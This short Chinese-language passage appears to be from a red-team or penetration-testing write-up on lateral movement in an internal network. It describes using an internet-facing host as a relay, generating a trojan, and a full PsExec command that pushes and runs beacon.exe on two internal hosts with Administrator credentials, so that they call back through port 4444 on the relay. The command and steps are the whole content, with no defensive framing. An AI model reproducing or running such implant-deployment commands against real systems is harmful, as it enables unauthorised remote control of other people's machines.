先将可出网的一台机设置中转

 

 

 

 生成马子，把马子和PsExec传到出网的机子上，之后用PsExec执行命令

PsExec.exe -accepteula \\192.168.241.171,192.168.241.172 -u Administrator -p xxxxx -d -c C:\Windows\Temp\beacon.exe

 

 

 

 在上线成功的机子上可以看到是通过192.168.241.156这台机的4444端口流量出网的